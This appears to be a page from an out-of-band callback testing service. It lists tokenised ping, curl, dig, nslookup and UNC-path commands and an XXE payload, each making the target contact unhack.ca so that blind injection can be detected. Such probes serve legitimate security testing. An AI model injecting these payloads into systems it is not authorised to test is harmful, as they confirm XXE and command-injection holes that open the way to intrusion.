$ ping -c1 -p 0052b95e340917f1d472c62a706ebf00 unhack.ca
$ curl http://unhack.ca/p/52b95e340917f1d472c62a706ebf
$ dig 52b95e340917f1d472c62a706ebf @unhack.ca
$ dig 52b95e340917f1d472c62a706ebf.ns.unhack.ca
C:\> nslookup 52b95e340917f1d472c62a706ebf unhack.ca
C:\> type \\unhack.ca\52b95e340917f1d472c62a706ebf\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/52b95e340917f1d472c62a706ebf">]>
<foo>&xxe;</foo>
Waiting for ping...